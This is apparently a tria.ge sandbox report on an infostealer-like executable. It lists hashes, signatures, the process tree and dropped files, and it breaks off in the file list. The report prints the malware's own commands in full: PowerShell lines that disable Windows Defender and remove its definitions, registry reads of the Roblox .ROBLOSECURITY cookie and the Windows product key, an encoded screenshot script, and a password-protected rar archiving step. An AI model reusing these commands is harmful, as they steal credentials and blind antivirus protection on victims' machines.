Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    44s
  • max time network
    47s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/05/2024, 12:02

General

  • Target

    emblemhubexternal.exe

  • Size

    7.4MB

  • MD5

    a3d7ee1dbd187c9366ded19c8bdd655b

  • SHA1

    38ad1fbbadac02758eb1b4e870426334917a7b31

  • SHA256

    19583b8506d04cf7c5b2e60141b372486457043bee81104daa28f6f4d4b56200

  • SHA512

    9f2efb3769c0cf1d2f6bb2262a5e1d4f7bcdd21843e7ea50f50deb3c54135201efe29d730c3fda96af873a0394281e32727c11fe145010eeedfe5a095e80c309

  • SSDEEP

    196608:br9n0cDe1ULjv+bhqNVoBKUh8mz4Iv9Plu1D7A6:qieWL+9qz8/b4IzuRA6

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 52 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\emblemhubexternal.exe
    "C:\Users\Admin\AppData\Local\Temp\emblemhubexternal.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2320
    • C:\Users\Admin\AppData\Local\Temp\emblemhubexternal.exe
      "C:\Users\Admin\AppData\Local\Temp\emblemhubexternal.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1672
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\emblemhubexternal.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3284
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\emblemhubexternal.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4644
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2968
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2336
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4724
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:1296
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3660
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:1940
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1600
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1996
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hywd55ga\hywd55ga.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3304
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES30C4.tmp" "c:\Users\Admin\AppData\Local\Temp\hywd55ga\CSCCCAD7230221B4DA8B0236E292A33FF.TMP"
              6⤵
                PID:3208
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4364
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4048
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4540
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2668
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI23202\rar.exe a -r -hp"black123" "C:\Users\Admin\AppData\Local\Temp\qY9oz.zip" *"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4820
          • C:\Users\Admin\AppData\Local\Temp\_MEI23202\rar.exe
            C:\Users\Admin\AppData\Local\Temp\_MEI23202\rar.exe a -r -hp"black123" "C:\Users\Admin\AppData\Local\Temp\qY9oz.zip" *
            4⤵
            • Executes dropped EXE
            PID:1432
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic os get Caption"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2632
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic os get Caption
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:956
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3552
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic computersystem get totalphysicalmemory
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4164
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4344
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
              PID:4920
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5024
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:2188
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5016
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              PID:5020
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5088
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:3624

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        d28a889fd956d5cb3accfbaf1143eb6f

        SHA1

        157ba54b365341f8ff06707d996b3635da8446f7

        SHA256

        21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

        SHA512

        0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        0c73d6f690fd61ffdbb631effbfe4f02

        SHA1

        4ed4405e5ece6ad33f4cbecfdaad65bc4b526926

        SHA256

        f2129c3685ab56781a3b6da2d82940d56cd3d6f03c5150452b856e6783922e6c

        SHA512

        bbdcb5c6cb9f0399611cf6722d66e78cf42d5e438ddc8ee0921a60cdc9b835249c3c5f72e471cc67cbd0b85a27edc511b2371d626c6d8832c53b9feef809f9b7

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        7511c81925750deb7ad1b9b80eea8a8d

        SHA1

        6ea759b3cbd243ae11435c6d6c5ced185eb01f49

        SHA256

        5b49723a7773f2fe1f6093236e7b9b2c546f0873635d02346cb39535811234fa

        SHA512

        5f7e69316d39525d137a7a833f8c746ceef8f1b2295348393fb3244cca8b962fbaad0f7da49da453fe97e2c49b1f41f06138111ac5ff97fdc33c300350ec3a1b

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        64B

        MD5

        8a424e81b5a6078deff05e153c04a0ee

        SHA1

        bf209de0dbc1dbe7c5b5b511bd34bf447a3c049b

        SHA256

        79ce6d6caea4a9eabf8fdbb2a1c58d43fb5a3c500c2dec3fce87c160d2c6bda3

        SHA512

        aa01195e5c1d641304b08fed4a3bffc916972aa0bc20e928204cef1783f38922a03b761cf2010ccbace1ea0d2f18cda4eaeee4d8969f32fbae5f580e4e38522d

      • C:\Users\Admin\AppData\Local\Temp\RES30C4.tmp

        Filesize

        1KB

        MD5

        4aedd955a9dc9d14b050be899c682811

        SHA1

        b96aa0e8808b332d0df8cbcceb116e4a2d161306

        SHA256

        400ded428e5a89ad001cdf3d5095d4ac5a9cf45b00aa73de9ff69e9673b9570c

        SHA512

        3df2620b46c2fd0189af85a8246a9c62236d2195c139daac1cd63143d93b6691bbbeba7ae6c97f97c414871bf3d5c935a1ee4e02ea7227a3307139935997c1fd

      • C:\Users\Admin\AppData\Local\Temp\_MEI23202\VCRUNTIME140.dll

        Filesize

        106KB

        MD5

        4585a96cc4eef6aafd5e27ea09147dc6

        SHA1

        489cfff1b19abbec98fda26ac8958005e88dd0cb

        SHA256

        a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736

        SHA512

        d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286

      • C:\Users\Admin\AppData\Local\Temp\_MEI23202\_bz2.pyd

        Filesize

        48KB

        MD5

        20a7ecfe1e59721e53aebeb441a05932

        SHA1

        a91c81b0394d32470e9beff43b4faa4aacd42573

        SHA256

        7ebbe24da78b652a1b6fe77b955507b1daff6af7ff7e5c3fa5ac71190bde3da8

        SHA512

        99e5d877d34ebaaaeb281c86af3fff9d54333bd0617f1366e3b4822d33e23586ef9b11f4f7dd7e1e4a314c7a881f33123735294fe8af3a136cd10f80a9b8d902

      • C:\Users\Admin\AppData\Local\Temp\_MEI23202\_ctypes.pyd

        Filesize

        58KB

        MD5

        5006b7ea33fce9f7800fecc4eb837a41

        SHA1

        f6366ba281b2f46e9e84506029a6bdf7948e60eb

        SHA256

        8f7a5b0abc319ba9bfd11581f002e533fcbe4ca96cedd37656b579cd3942ef81

        SHA512

        e3e5e8f471a8ca0d5f0091e00056bd53c27105a946ca936da3f5897b9d802167149710404386c2ed3399b237b8da24b1a24e2561c436ed2e031a8f0564fbbc7c

      • C:\Users\Admin\AppData\Local\Temp\_MEI23202\_decimal.pyd

        Filesize

        106KB

        MD5

        d0231f126902db68d7f6ca1652b222c0

        SHA1

        70e79674d0084c106e246474c4fb112e9c5578eb

        SHA256

        69876f825678b717c51b7e7e480de19499d972cb1e98bbfd307e53ee5bace351

        SHA512

        b6b6bfd5fde200a9f45aeb7f6f845eac916feeef2e3fca54e4652e1f19d66ae9817f1625ce0ed79d62e504377011ce23fd95a407fbdbaa6911a09e48b5ef4179

      • C:\Users\Admin\AppData\Local\Temp\_MEI23202\_hashlib.pyd

        Filesize

        35KB

        MD5

        a81e0df35ded42e8909597f64865e2b3

        SHA1

        6b1d3a3cd48e94f752dd354791848707676ca84d

        SHA256

        5582f82f7656d4d92ed22f8e460bebd722e04c8f993c3a6adcc8437264981185

        SHA512

        2cda7348faffabc826fb7c4eddc120675730077540f042d6dc8f5e6921cf2b9cb88afcd114f53290aa20df832e3b7a767432ea292f6e5b5b5b7d0e05cf8905a6

      • C:\Users\Admin\AppData\Local\Temp\_MEI23202\_lzma.pyd

        Filesize

        85KB

        MD5

        f8b61629e42adfe417cb39cdbdf832bb

        SHA1

        e7f59134b2bf387a5fd5faa6d36393cbcbd24f61

        SHA256

        7a3973fedd5d4f60887cf0665bcb7bd3c648ad40d3ae7a8e249d875395e5e320

        SHA512

        58d2882a05289b9d17949884bf50c8f4480a6e6d2b8bd48dfdbcb03d5009af64abf7e9967357aeebf95575d7ef434a40e8ad07a2c1fe275d1a87aa59dcc702d6

      • C:\Users\Admin\AppData\Local\Temp\_MEI23202\_queue.pyd

        Filesize

        25KB

        MD5

        0da22ccb73cd146fcdf3c61ef279b921

        SHA1

        333547f05e351a1378dafa46f4b7c10cbebe3554

        SHA256

        e8ae2c5d37a68bd34054678ae092e2878f73a0f41e6787210f1e9b9bb97f37a0

        SHA512

